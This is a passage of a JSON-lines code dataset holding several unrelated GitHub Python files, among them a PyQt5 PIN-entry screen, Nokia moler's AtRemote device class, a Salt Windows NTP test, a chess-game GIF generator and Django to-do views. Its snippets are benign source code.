hide_keyword(self):\r\n for button in self.buttons_of_keyboard:\r\n button.hide()\r\n\r\n def update_wrong_pin_message(self):\r\n self.wrong_pin_code.setText(\r\n f'ВЫ ВВЕЛИ НЕВЕРНЫЙ ПАРОЛЬ 3 РАЗА ПОДРЯД!\\nПОПРОБУЙТЕ ЧЕРЕЗ {self.times} СЕКУНД')\r\n self.times -= 1\r\n if self.times < 0:\r\n self.wrong_pin_code.setText('')\r\n for buttons in self.buttons_of_keyboard:\r\n buttons.setEnabled(True)\r\n self.input_pin_code.setText('ПОПРОБУЙТЕ ЕЩЕ РАЗ')\r\n self.input_pin_code.move(40, 60)\r\n self.input_pin_code.resize(230, 40)\r\n self.input_pin_code.setStyleSheet(\"font-size: 14pt; color: #000000\")\r\n self.timer.stop()\r\n\r\n def check_the_pin_code(self):\r\n with open('password.txt', 'rb') as pin_code_file:\r\n self.pin_code_hash = pin_code_file.read()\r\n if bcrypt.checkpw(self.pin_code_to_print.encode('utf-8'), self.pin_code_hash):\r\n self.input_pin_code.setText('ДОСТУП РАЗРЕШЕН!')\r\n self.input_pin_code.move(40, 220)\r\n self.input_pin_code.resize(230, 40)\r\n self.input_pin_code.setStyleSheet(\"font-size: 14pt; color: #90ee90;\")\r\n self.hide_pin_code()\r\n self.hide_keyword()\r\n self.close()\r\n Menu_Pin_Code().hide()\r\n MainMenu().show()\r\n else:\r\n self.return_to_default()\r\n self.attempt_input_pin_code += 1\r\n print(self.attempt_input_pin_code)\r\n self.input_pin_code.setText('НЕВЕРНЫЙ ПАРОЛЬ!')\r\n self.input_pin_code.move(40, 60)\r\n self.input_pin_code.resize(230, 40)\r\n self.input_pin_code.setStyleSheet(\"font-size: 14pt; color: #ff0000\")\r\n if self.attempt_input_pin_code == 3:\r\n self.many_attempts_pin_code()\r\n for buttons in self.buttons_of_keyboard:\r\n buttons.setEnabled(False)\r\n self.attempt_input_pin_code = 0","repo_name":"HedRed1/PyQT5","sub_path":"pin_code_system.py","file_name":"pin_code_system.py","file_ext":"py","file_size_in_byte":9634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40341539370","text":"# -*- coding: utf-8 -*-\n\"\"\"\nMoler's device has 2 main responsibilities:\n- be the factory that returns commands of that device\n- be the state machine that controls which commands may run in given state\n\"\"\"\n\n__author__ = 'Grzegorz Latuszek'\n__copyright__ = 'Copyright (C) 2020, Nokia'\n__email__ = 'grzegorz.latuszek@nokia.com'\n\nfrom moler.device.textualdevice import TextualDevice\n# from moler.device.proxy_pc import ProxyPc # TODO: allow jumping towards AT_REMOTE via proxy-pc\nfrom moler.device.unixlocal import UnixLocal\nfrom moler.device.unixremote import UnixRemote\nfrom moler.helpers import call_base_class_method_with_same_name, mark_to_call_base_class_method_with_same_name\nfrom moler.cmd.at.genericat import GenericAtCommand\n\n\n@call_base_class_method_with_same_name\nclass AtRemote(UnixRemote):\n r\"\"\"\n AtRemote device class.\n\n Example of device in yaml configuration file:\n -without PROXY_PC:\n AT_1:\n DEVICE_CLASS: moler.device.atremote.AtRemote\n CONNECTION_HOPS:\n UNIX_LOCAL:\n UNIX_REMOTE:\n execute_command: ssh # default value\n command_params:\n expected_prompt: unix_remote_prompt\n host: host_ip\n login: login\n password: password\n UNIX_REMOTE:\n AT_REMOTE:\n execute_command: plink_serial # default value\n command_params:\n serial_devname: 'COM5'\n AT_REMOTE:\n UNIX_REMOTE:\n execute_command: ctrl_c # default value\n \"\"\"\n\n at_remote = \"AT_REMOTE\"\n\n def __init__(self, sm_params, name=None, io_connection=None, io_type=None, variant=None, io_constructor_kwargs=None,\n initial_state=None, lazy_cmds_events=False):\n \"\"\"\n Create AT device communicating over io_connection\n :param sm_params: dict with parameters of state machine for device\n :param name: name of device\n :param io_connection: External-IO connection having embedded moler-connection\n :param io_type: type of connection - tcp, udp, ssh, telnet, ...\n :param variant: connection implementation variant, ex. 'threaded', 'twisted', 'asyncio', ...\n (if not given then default one is taken)\n :param io_constructor_kwargs: additional parameter into constructor of selected connection type\n (if not given then default one is taken)\n :param initial_state: name of initial state. State machine tries to enter this state just after creation.\n :param lazy_cmds_events: set False to load all commands and events when device is initialized, set True to load\n commands and events when they are required for the first time.\n \"\"\"\n initial_state = initial_state if initial_state is not None else AtRemote.at_remote\n super(AtRemote, self).__init__(name=name, io_connection=io_connection,\n io_type=io_type, variant=variant,\n io_constructor_kwargs=io_constructor_kwargs,\n sm_params=sm_params, initial_state=initial_state,\n lazy_cmds_events=lazy_cmds_events)\n\n @mark_to_call_base_class_method_with_same_name\n def _get_default_sm_configuration_without_proxy_pc(self):\n \"\"\"\n Return State Machine default configuration without proxy_pc state.\n :return: default sm configuration without proxy_pc state.\n \"\"\"\n config = { # TODO: shell we use direct-string names of config dicts? change simplicity vs readability\n TextualDevice.connection_hops: {\n UnixRemote.unix_remote: { # from\n AtRemote.at_remote: { # to\n \"execute_command\": \"plink_serial\",\n \"command_params\": { # with parameters\n \"target_newline\": \"\\r\\n\"\n },\n \"required_command_params\": [\n \"serial_devname\"\n ]\n },\n },\n AtRemote.at_remote: { # from\n UnixRemote.unix_remote: { # to\n \"execute_command\": \"ctrl_c\", # using command\n \"command_params\": { # with parameters\n \"expected_prompt\": 'remote_prompt', # overwritten in _configure_state_machine\n },\n \"required_command_params\": [\n ]\n },\n },\n }\n }\n return config\n\n @mark_to_call_base_class_method_with_same_name\n def _prepare_transitions_without_proxy_pc(self):\n \"\"\"\n Prepare transitions to change states without proxy_pc state.\n :return: transitions without proxy_pc state.\n \"\"\"\n transitions = {\n UnixRemote.unix_remote: {\n AtRemote.at_remote: {\n \"action\": [\n \"_execute_command_to_change_state\"\n ],\n }\n },\n AtRemote.at_remote: {\n UnixRemote.unix_remote: {\n \"action\": [\n \"_execute_command_to_change_state\"\n ],\n }\n },\n }\n return transitions\n\n @mark_to_call_base_class_method_with_same_name\n def _prepare_state_prompts_without_proxy_pc(self):\n \"\"\"\n Prepare textual prompt for each state for State Machine without proxy_pc state.\n :return: textual prompt for each state without proxy_pc state.\n \"\"\"\n hops_config = self._configurations[TextualDevice.connection_hops]\n serial_devname = hops_config[UnixRemote.unix_remote][AtRemote.at_remote][\"command_params\"][\"serial_devname\"]\n proxy_prompt = \"{}> port READY\".format(serial_devname)\n at_cmds_prompt = GenericAtCommand._re_default_at_prompt.pattern\n state_prompts = {\n AtRemote.at_remote: \"{}|{}\".format(proxy_prompt, at_cmds_prompt)\n }\n return state_prompts\n\n @mark_to_call_base_class_method_with_same_name\n def _prepare_newline_chars_without_proxy_pc(self):\n \"\"\"\n Prepare newline char for each state for State Machine without proxy_pc state.\n :return: newline char for each state without proxy_pc state.\n \"\"\"\n hops_config = self._configurations[TextualDevice.connection_hops]\n hops_2_at_remote_config = hops_config[UnixRemote.unix_remote][AtRemote.at_remote]\n newline_chars = {\n AtRemote.at_remote: hops_2_at_remote_config[\"command_params\"][\"target_newline\"],\n }\n return newline_chars\n\n @mark_to_call_base_class_method_with_same_name\n def _prepare_state_hops_without_proxy_pc(self):\n \"\"\"\n Prepare non direct transitions for each state for State Machine without proxy_pc state.\n :return: non direct transitions for each state without proxy_pc state.\n \"\"\"\n state_hops = {\n TextualDevice.not_connected: {\n UnixLocal.unix_local_root: UnixLocal.unix_local,\n UnixRemote.unix_remote: UnixLocal.unix_local,\n UnixRemote.unix_remote_root: UnixLocal.unix_local,\n AtRemote.at_remote: UnixLocal.unix_local,\n },\n UnixLocal.unix_local: {\n UnixRemote.unix_remote_root: UnixRemote.unix_remote,\n AtRemote.at_remote: UnixRemote.unix_remote,\n },\n UnixLocal.unix_local_root: {\n TextualDevice.not_connected: UnixLocal.unix_local,\n UnixRemote.unix_remote: UnixLocal.unix_local,\n UnixRemote.unix_remote_root: UnixLocal.unix_local,\n AtRemote.at_remote: UnixLocal.unix_local,\n },\n UnixRemote.unix_remote: {\n TextualDevice.not_connected: UnixLocal.unix_local,\n UnixLocal.unix_local_root: UnixLocal.unix_local,\n },\n UnixRemote.unix_remote_root: {\n TextualDevice.not_connected: UnixRemote.unix_remote,\n UnixLocal.unix_local: UnixRemote.unix_remote,\n UnixLocal.unix_local_root: UnixRemote.unix_remote,\n AtRemote.at_remote: UnixRemote.unix_remote,\n },\n AtRemote.at_remote: {\n TextualDevice.not_connected: UnixRemote.unix_remote,\n UnixLocal.unix_local: UnixRemote.unix_remote,\n UnixLocal.unix_local_root: UnixRemote.unix_remote,\n UnixRemote.unix_remote_root: UnixRemote.unix_remote,\n },\n }\n return state_hops\n\n def _configure_state_machine(self, sm_params):\n \"\"\"\n Configure device State Machine.\n :param sm_params: dict with parameters of state machine for device.\n :return: None.\n \"\"\"\n super(AtRemote, self)._configure_state_machine(sm_params)\n\n # copy prompt for AT_REMOTE/ctrl_c from UNIX_REMOTE_ROOT/exit\n hops_config = self._configurations[TextualDevice.connection_hops]\n remote_ux_root_exit_params = hops_config[UnixRemote.unix_remote_root][UnixRemote.unix_remote][\"command_params\"]\n remote_ux_prompt = remote_ux_root_exit_params[\"expected_prompt\"]\n hops_config[AtRemote.at_remote][UnixRemote.unix_remote][\"command_params\"][\"expected_prompt\"] = remote_ux_prompt\n\n def _get_packages_for_state(self, state, observer):\n \"\"\"\n Get available packages containing cmds and events for each state.\n :param state: device state.\n :param observer: observer type, available: cmd, events\n :return: available cmds or events for specific device state.\n \"\"\"\n available = super(AtRemote, self)._get_packages_for_state(state, observer)\n\n if not available:\n if state == AtRemote.at_remote:\n available = {TextualDevice.cmds: ['moler.cmd.at', 'moler.cmd.unix.ctrl_c'],\n TextualDevice.events: ['moler.events.shared']}\n if available:\n return available[observer]\n elif state == UnixRemote.unix_remote: # this is unix extended with plink_serial command\n if observer == TextualDevice.cmds:\n available.append('moler.cmd.at.plink_serial')\n available.append('moler.cmd.at.cu')\n\n return available\n","repo_name":"nokia/moler","sub_path":"moler/device/atremote.py","file_name":"atremote.py","file_ext":"py","file_size_in_byte":10499,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"78"} +{"seq_id":"20905980026","text":"from typing import List\n\nfrom txmatching.database.services.patient_upload_service import \\\n replace_or_add_patients_from_one_country\nfrom txmatching.database.services.txm_event_service import \\\n get_txm_event_complete\nfrom txmatching.utils.export.export_txm_event import \\\n get_patients_upload_json_from_txm_event_for_country\n\n\ndef copy_patients_between_events(txm_event_id_from: int, txm_event_id_to: int, donor_ids: List[int]) -> List[int]:\n txm_event_from = get_txm_event_complete(txm_event_id_from, load_antibodies_raw=True)\n txm_event_to = get_txm_event_complete(txm_event_id_to, load_antibodies_raw=True)\n donors_to_copy = [donor for donor in txm_event_from.active_and_valid_donors_dict.values()\n if donor.db_id in donor_ids]\n\n donor_related_recipients = [\n txm_event_from.active_and_valid_recipients_dict[donor.related_recipient_db_id] for donor in donors_to_copy if\n donor.related_recipient_db_id is not None]\n\n # raise error if the recipient is already in the event\n txm_event_to_recipient_medical_ids = [recipient.medical_id for recipient in\n txm_event_to.active_and_valid_recipients_dict.values()]\n\n for recipient in donor_related_recipients:\n if recipient.medical_id in txm_event_to_recipient_medical_ids:\n raise ValueError(\n f'Recipient with medical id {recipient.medical_id} already exists in event {txm_event_to.name}. '\n f'Unfortunately, we do not support copying donors with the related recipient that is'\n f' already in TxmEventTo yet.')\n\n # actual copying\n donor_countries = set(donor.parameters.country_code for donor in donors_to_copy)\n donor_ids_to_copy_by_country = {country: [donor.medical_id for donor in donors_to_copy\n if donor.parameters.country_code == country] for country in\n donor_countries}\n\n patient_upload_dtos_for_country = [\n get_patients_upload_json_from_txm_event_for_country(txm_event_id_from,\n country,\n txm_event_to.name,\n donor_ids)\n for country, donor_ids in donor_ids_to_copy_by_country.items()]\n\n new_donor_ids = []\n for patient_upload_dto in patient_upload_dtos_for_country:\n patients = replace_or_add_patients_from_one_country(patient_upload_dto=patient_upload_dto)\n new_donor_ids = new_donor_ids + [donor.id for donor in patients[0]]\n\n return new_donor_ids\n","repo_name":"mild-blue/txmatching","sub_path":"txmatching/utils/copy/copy_patients_from_event_to_event.py","file_name":"copy_patients_from_event_to_event.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"12851199974","text":"import pytest\n\nfrom tests.support.case import ModuleCase\n\n\n@pytest.mark.flaky(max_runs=4)\n@pytest.mark.skip_unless_on_windows\n@pytest.mark.windows_whitelisted\n@pytest.mark.slow_test\nclass NTPTest(ModuleCase):\n \"\"\"\n Validate windows ntp module\n \"\"\"\n\n @pytest.mark.destructive_test\n @pytest.mark.slow_test\n def test_ntp_set_servers(self):\n \"\"\"\n test ntp get and set servers\n \"\"\"\n ntp_srv = \"pool.ntp.org\"\n set_srv = self.run_function(\"ntp.set_servers\", [ntp_srv])\n self.assertTrue(set_srv)\n\n get_srv = self.run_function(\"ntp.get_servers\")\n self.assertEqual(ntp_srv, get_srv[0])\n","repo_name":"saltstack/salt","sub_path":"tests/integration/modules/test_win_ntp.py","file_name":"test_win_ntp.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"} +{"seq_id":"5085869376","text":"###############################\n###### Made by GbaCretin ######\n###############################\n\n# LUT from C2 to B7 (for SSG OPNBs)\n\nnumber_of_octaves = 6\nbase_pitches = [\n# C2 C#2 D2 D#2 E2 F2\n\t65.41, 69.30, 73.42, 77.78, 82.41, 87.31,\n# F#2 G2 G#2 A2 A#2 B2\n 92.50, 98.00, 103.83, 110.0, 116.54, 123.47]\n \nLUT = bytearray()\n\nfor octave in range(1, number_of_octaves+1):\n\tfor base_pitch in base_pitches:\n\t\tpitch = base_pitch * pow(2,octave)\n\t\tSSG_pitch = round(250000 / pitch)\n\n\t\tSSG_pitch_L = SSG_pitch & 0x00FF\n\t\tSSG_pitch_H = (SSG_pitch & 0xFF00) >> 8\n\n\t\t# Little endian\n\t\tLUT.append(SSG_pitch_L)\n\t\tLUT.append(SSG_pitch_H)\n\n\t\t# Big endian\n\t\t# LUT.append(SSG_pitch_H)\n\t\t# LUT.append(SSG_pitch_L)\n\nfile = open(\"ssg_pitch_lut.bin\", \"wb\")\nfile.write(LUT)\nfile.close()\n","repo_name":"stereomimi/Mezz-Estate-NeoGeo-Audio-Driver","sub_path":"scripts/ssg_pitch_lut.py","file_name":"ssg_pitch_lut.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"78"} +{"seq_id":"6484193180","text":"from __future__ import annotations\n\nimport numbers\nfrom abc import ABC\nfrom typing import Union, List\n\nfrom .base import Prior\nfrom .binding import DREXInstructionsFile, DREXResultsFile\nfrom .util import transform_to_unified_drex_input_sequence_representation\nimport numpy as np\n\nfrom .worker import MatlabWorker\nfrom ..lib.model import ModelBuilder, Model\n\n\nclass DREXInstructionBuilder(ModelBuilder, ABC):\n def __init__(self):\n \"\"\"\n D-REX builder. Uses the default values, i.e.:\n\n * hazard = 0.01\n * memory = inf\n * maxhyp = inf\n * obsnz = 0\n * max_ncomp = 10 (relevant for GMM priors)\n * beta = 0.001 (relevant for GMM priors)\n * predscale = 0.01\n * change decision threshold = 0.01\n\n Further required values:\n\n * prior\n * input sequence\n\n \"\"\"\n # Use original default values\n super().__init__()\n self._input_sequence = None\n self._hazard = 0.01\n self._memory = np.inf\n self._maxhyp = np.inf\n # self._D = 1 # implicitly specified by prior\n self._change_decision_threshold = 0.01\n self._obsnz = 0\n self._predscale = 0.001\n self._max_ncomp = 10\n self._beta = 0.001\n\n self._prior = None\n\n def prior(self, prior: Prior) -> DREXInstructionBuilder:\n \"\"\"\n Set the (un)processed prior.\n\n Parameters\n ----------\n prior\n Prior\n Returns\n -------\n DREXInstructionBuilder\n self\n \"\"\"\n self._prior = prior\n return self\n\n def input_sequence(self, input_sequence: Union[list, np.ndarray]) -> DREXInstructionBuilder:\n \"\"\"\n Set the input sequence\n\n Parameters\n ----------\n input_sequence\n np.ndarray of shape (time, feature)\n\n Returns\n -------\n DREXInstructionBuilder\n self\n \"\"\"\n iseq = transform_to_unified_drex_input_sequence_representation(input_sequence)\n [_, input_sequence_features] = iseq[0].shape\n\n # Check correspondence to prior (if present)\n if self._prior is not None:\n if self._prior.feature_count() < input_sequence_features:\n raise ValueError(\"input_sequence invalid! Its number of features must be equal the prior's.\")\n\n # Automatically adjust obsnz if obsnz is scalar\n if isinstance(self._obsnz, numbers.Number):\n self._obsnz = [self._obsnz] * input_sequence_features\n\n self._input_sequence = iseq\n return self\n\n def hazard(self, hazard: Union[float, List[float]]) -> DREXInstructionBuilder:\n \"\"\"\n Set the hazard rate(s)\n\n Parameters\n ----------\n hazard\n Value between [0,1], or list of such values (as much as the input sequence has elements)\n\n Returns\n -------\n DREXInstructionBuilder\n self\n \"\"\"\n if isinstance(hazard, list):\n hazard = np.array(hazard)\n\n if type(hazard) is np.ndarray:\n # Check shape\n if len(hazard.shape) != 1:\n raise ValueError(\"Shape of hazard is invalid! Expected one dimension: time.\")\n [hazard_times] = hazard.shape\n\n # Check correspondence to input sequence (if present)\n if len(hazard) > 1 and len(self._input_sequence) > 0:\n if len(self._input_sequence) != len(hazard_times):\n raise ValueError(\"hazard invalid! There must be either one or as much as \"\n \"len(input_sequence) elements.\")\n\n # Check value(s)\n if not ((hazard >= 0).all() and (hazard <= 1).all()):\n raise ValueError(\"hazard invalid! Value(s) must be within range of [0,1].\")\n\n self._hazard = hazard\n return self\n\n def obsnz(self, obsnz: Union[float, List[float]]) -> DREXInstructionBuilder: # TODO per feature separate value\n \"\"\"\n Set the observation noise\n\n Parameters\n ----------\n obsnz\n Single values used across features, or list of values (as much as the input sequence has features)\n\n Returns\n -------\n DREXInstructionBuilder\n self\n \"\"\"\n self._obsnz = obsnz\n return self\n\n def memory(self, memory: int) -> DREXInstructionBuilder:\n \"\"\"\n Set the memory parameter which limits the number of previous hypotheses to process at each time step.\n Parameters\n ----------\n memory\n positive int (greather than or equal 2) or np.inf\n Returns\n -------\n DREXInstructionBuilder\n self\n \"\"\"\n if not memory >= 2:\n raise ValueError(\"memory invalid! Value must be greater than or equal 2.\")\n\n self._memory = memory\n return self\n\n def maxhyp(self, maxhyp: int) -> DREXInstructionBuilder:\n \"\"\"\n Set the maxhyp parameter which limits the number of previous hypotheses to process at each time step.\n\n Parameters\n ----------\n maxhyp\n positive int or np.inf\n Returns\n -------\n DREXInstructionBuilder\n self\n \"\"\"\n self._maxhyp = maxhyp\n return self\n\n def change_decision_threshold(self, change_decision_threshold: float) -> DREXInstructionBuilder:\n \"\"\"\n Set the change decision threshold.\n\n Parameters\n ----------\n change_decision_threshold\n float in range [0,1]\n\n Returns\n -------\n DREXInstructionBuilder\n self\n \"\"\"\n if not change_decision_threshold >= 0 and change_decision_threshold <= 1:\n raise ValueError(\"change_decision_threshold invalid! Value must be in range of [0,1].\")\n self._change_decision_threshold = change_decision_threshold\n return self\n\n def predscale(self, predscale: float) -> DREXInstructionBuilder:\n \"\"\"\n Set the predscale value.\n\n Parameters\n ----------\n predscale\n float in range [0,1]\n\n Returns\n -------\n DREXInstructionBuilder\n self\n \"\"\"\n if not predscale > 0 and predscale <= 1:\n raise ValueError(\"predscale invalid! Value must be in range (0,1].\")\n self._predscale = float(predscale)\n return self\n\n def max_ncomp(self, max_ncomp: int) -> DREXInstructionBuilder:\n \"\"\"\n Set the max_ncomp value D-REX's handling of GMM priors.\n\n Parameters\n ----------\n max_ncomp\n Maximum number of components\n\n Returns\n -------\n DREXInstructionBuilder\n self\n \"\"\"\n if not (max_ncomp > 0 and isinstance(max_ncomp, int)):\n raise ValueError(\"max_ncomp invalid! Value must be positive and integer.\")\n\n self._max_ncomp = max_ncomp\n\n return self\n\n def beta(self, beta: float) -> DREXInstructionBuilder:\n \"\"\"\n Set the beta value for D-REX's handling of GMM priors.\n\n Parameters\n ----------\n beta\n Threshold for new GMM components.\n\n Returns\n -------\n DREXInstructionBuilder\n self\n \"\"\"\n if not (0 <= beta <= 1):\n raise ValueError(\"beta invalid! Value must be between 0 and 1.\")\n\n self._beta = beta\n\n return self\n\n def to_instructions_file(self) -> DREXInstructionsFile:\n return DREXInstructionsFile(self._input_sequence, self._prior,\n self._hazard, self._memory,\n self._maxhyp, self._obsnz,\n self._max_ncomp, self._beta,\n self._predscale, self._change_decision_threshold)\n\n\nclass DREXModel(Model):\n \"\"\"\n High-level interface for using D-REX.\n Using +instance+, one can hyper-parameterize D-REX.\n \"\"\"\n\n def __init__(self):\n super().__init__()\n\n def run(self, instructions_file_path) -> DREXResultsFile:\n results_file_path = MatlabWorker.run_model(instructions_file_path)\n results_file = DREXResultsFile.load(results_file_path)\n return results_file\n\n @staticmethod\n def run_instructions_file_at_path(file_path: str) -> DREXResultsFile:\n return DREXModel().run(file_path)\n","repo_name":"lexngu/cmme","sub_path":"src/cmme/drex/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"272079339","text":"import datetime\nfrom django.shortcuts import render, redirect\nfrom .models import ToDo\nfrom .forms import AddForm\n\n# Create your views here.\ndef home(request):\n to_dos = ToDo.objects.all()\n\n today = datetime.date.today()\n expired = to_dos.filter(due_date__lt=today).order_by('due_date')\n prompt = to_dos.filter(due_date__gte=today).\\\n filter(due_date__lte=today+datetime.timedelta(days=7)).order_by('due_date')\n normal = to_dos.filter(due_date__gt=today+datetime.timedelta(days=7)).order_by('due_date')\n\n context = {\n 'expired': expired,\n 'prompt': prompt,\n 'normal': normal,\n }\n return render(request, 'myApp/home.html', context)\n\ndef add(request):\n if request.method == 'POST':\n form = AddForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('home')\n else:\n form = AddForm()\n return render(request, 'myApp/add.html', {'form': form})\n\ndef delete(request, pk):\n target = ToDo.objects.get(id=pk)\n target.delete()\n return redirect('home')\n","repo_name":"Mapal-developer/TODO","sub_path":"myApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70017667452","text":"import os\nimport numpy as np\n\n\ndef read_pcd(filepath):\n # read .pcd format data\n lidar = []\n with open(filepath,'r',) as f:\n line = f.readline().strip()\n\n while line:\n linestr = line.split(\" \")\n\n if len(linestr) == 9 and linestr[0] != '#':\n linestr_convert = list(map(float, linestr))\n\n lidar.append(linestr_convert[0:4])\n line = f.readline().strip()\n return np.array(lidar)\n\n\ndef convert(pcdfolder, binfolder):\n # convert .pcd format data to .bin format point cloud data\n current_path = os.getcwd()\n ori_path = os.path.join(current_path, pcdfolder)\n file_list = os.listdir(ori_path)\n des_path = os.path.join(current_path, binfolder)\n if os.path.exists(des_path):\n pass\n else:\n os.makedirs(des_path)\n for file in file_list: \n (filename,extension) = os.path.splitext(file)\n velodyne_file = os.path.join(ori_path, filename) + '.pcd'\n pl = read_pcd(velodyne_file)\n pl = pl.reshape(-1, 4).astype(np.float32)\n\n # remove '.'\n strls = filename.split(\".\")\n filename = strls[0] + strls[1]\n\n velodyne_file_new = os.path.join(des_path, filename) + '.bin'\n pl.tofile(velodyne_file_new)\n print(pl)\n \npcdfolder = '2022-05-04-11-20-11_converted'\nbinfolder = '2022-05-04-11-20-11_bin'\n\nconvert(pcdfolder, binfolder)\n\n\n","repo_name":"Saleh-Ibtasham/4dpls_stream","sub_path":"pcd2bin.py","file_name":"pcd2bin.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39836903381","text":"\"\"\"\nThe performance monitoring data at some instant\n\"\"\"\n\n\nclass InstantaneousPMData:\n def __init__(self, power: float, ber: float, snr: float, dgd: float, qfactor: float, chromatic_dispersion: float, carrier_offset: float) -> None:\n \"\"\"\n power: the instantaneous power levels\n ber: the instantaneous bit error rate\n snr: the instantaneous signal to noise ratio\n dgd: the instantaneous differential group delay\n qfactor: the instantaneous quality-factor\n chromatic_dispersion: the instantaneous chromatic dispersion\n carrier_offset: the instantaneous carrier offeset\n \"\"\"\n self.power = power\n self.ber = ber\n self.snr = snr\n self.dgd = dgd\n self.qfactor = qfactor\n self.chromatic_dispersion = chromatic_dispersion\n self.carrier_offset = carrier_offset\n","repo_name":"yunusmohammed/adva-performance-monitoring","sub_path":"Models/InstantaneousPMData.py","file_name":"InstantaneousPMData.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43124860725","text":"import os\nimport chess.pgn\nfrom PIL import Image, ImageDraw\nfrom time import perf_counter\n\npiece_colors = {True: \"w\", False: \"b\"}\n\npiece_names = {1: \"p\", 2: \"n\", 3: \"b\", 4: \"r\", 5: \"q\", 6: \"k\"}\ndef generate_gifs(pgn_file, output_folder, frame_duration=1000, last_frame_duration=5000):\n if not os.path.exists(output_folder):\n os.makedirs(output_folder)\n\n board_image = Image.open(\"assets/board.png\").convert(\"RGBA\")\n\n piece_images = {}\n for color in [\"w\", \"b\"]:\n for piece_name in [\"k\", \"q\", \"r\", \"b\", \"n\", \"p\"]:\n piece_image = Image.open(f\"assets/{color}{piece_name}.png\").convert(\"RGBA\")\n piece_images[f\"{color}{piece_name}\"] = piece_image\n\n pgn = open(pgn_file)\n game_number = 1\n\n while True:\n start = perf_counter()\n game = chess.pgn.read_game(pgn)\n if game is None:\n break\n\n board = game.board()\n board_positions = [board.copy()]\n moves = list(game.mainline_moves())\n for move in moves:\n board.push(move)\n board_positions.append(board.copy())\n\n gif_frames = []\n for i, position in enumerate(board_positions):\n frame = board_image.copy()\n draw = ImageDraw.Draw(frame)\n for square, piece in position.piece_map().items():\n if piece.piece_type != chess.PieceType(0):\n piece_image = piece_images[\n f\"{piece_colors[piece.color]}{piece_names[piece.piece_type]}\"\n ]\n x = (square % 8) * 177\n y = (7 - square // 8) * 177\n frame.paste(piece_image, (x, y), piece_image)\n\n if i < len(moves):\n move = moves[i]\n source_square = move.from_square\n destination_square = move.to_square\n source_x = (source_square % 8) * 177\n source_y = (7 - source_square // 8) * 177\n dest_x = (destination_square % 8) * 177\n dest_y = (7 - destination_square // 8) * 177\n\n draw.rectangle(\n [(source_x, source_y), (source_x + 176, source_y + 176)],\n outline=\"red\",\n width=8,\n )\n draw.rectangle(\n [(dest_x, dest_y), (dest_x + 176, dest_y + 176)],\n outline=\"green\",\n width=8,\n )\n\n gif_frames.append(frame)\n\n if i == len(board_positions) - 1:\n gif_frames[-1].info[\"duration\"] = last_frame_duration\n else:\n gif_frames[-1].info[\"duration\"] = frame_duration\n\n output_file = os.path.join(output_folder, f\"game{game_number}.gif\")\n gif_frames[0].save(\n output_file,\n format=\"GIF\",\n append_images=gif_frames[1:],\n save_all=True,\n loop=0,\n )\n\n print(f\"GIF file {output_file} generated in {((perf_counter() - start) * 1000):.0f}ms.\")\n game_number += 1\n\n\n# Example\nif __name__ == \"__main__\":\n pgn_file = \"game.pgn\"\n output_folder = \"output\"\n generate_gifs(pgn_file, output_folder)\n","repo_name":"SuperOrca/chess-gif","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29610930246","text":"from pathlib import Path\nfrom typing import Final\n\n\nMODE: Final[str] = \"dev\"\nPORT: Final[int] = 5000\nNUM_THREADS: Final[int] = 50\nDB_ENGINE: Final[str] = \"mysql\"\nDB_CHARSET: Final[str] = \"utf8mb4\"\nMAX_LANGUAGES_COUNT: Final[int] = 8\nMAX_LOGIN_SIZE: Final[int] = 32\nMAX_FULLNAME_SIZE: Final[int] = 256\nMAX_NAME_SIZE: Final[int] = 64\nMAX_PROJECT_NAME_SIZE: Final[int] = 512\nMAX_TAG_SIZE: Final[int] = 256\nMAX_USER_COMMENT_SIZE: Final[int] = 512\nMAX_QUESTION_COMMENT_SIZE: Final[int] = 512\nMAX_BLOCK_NAME_SIZE: Final[int] = 64\nMAX_QUESTION_TEXT_SIZE: Final[int] = 256\nMAX_ANSWER_BLOCK_NAME: Final[int] = 128\nMAX_ANSWER_OPTION_SIZE: Final[int] = 128\nMAX_SHORT_ANSWER_OPTION_SIZE: Final[int] = 32\nMAX_SHEET_TITLE_SIZE: Final[int] = 16\nMAX_ANSWER_SIZE: Final[int] = 2048\nMAX_TOPONYM_SIZE: Final[int] = 128\nMAX_SHORT_QUESTION_SIZE: Final[int] = 32\nMAX_TEXT_SIZE: Final[int] = 4096\nINT_MIN: Final[int] = -0xffffffffffffffff\nINT_MAX: Final[int] = -INT_MIN\nSOURCE_QUESTION_ID: Final[int] = -1\nANSWER_ROW_QUESTION_ID: Final[int] = -2\nDATE_FORMAT: Final[str] = \"%Y-%m-%d\"\nDATETIME_FORMAT: Final[str] = DATE_FORMAT + \" %H:%M:%S\"\nREQUEST_CONTEXT_USE_DELETED_ITEMS: Final[str] = \"use_deleted_items\"\nJWT_ACCESS_TOKEN_EXPIRES: Final[int] = 1\nJWT_REFRESH_EXPIRING_TIME: Final[int] = 30\nNAME_COLUMN_NAME = {\n 'ru': 'Имя/Название',\n 'en': 'Name'\n}\nTOPONYMS_TABLE_URL: Final[str] = \"https://simplemaps.com/static/data/country-cities/id/id.json\"\nTOPONYMS_REQUEST_TIMEOUT: Final[int] = 179\nDEFAULT_LANGUAGE: Final[str] = 'en'\nALL_LANGUAGES_TAG: Final[str] = 'all'\n\nMAX_LEADERS_PAGE_SIZE: int = 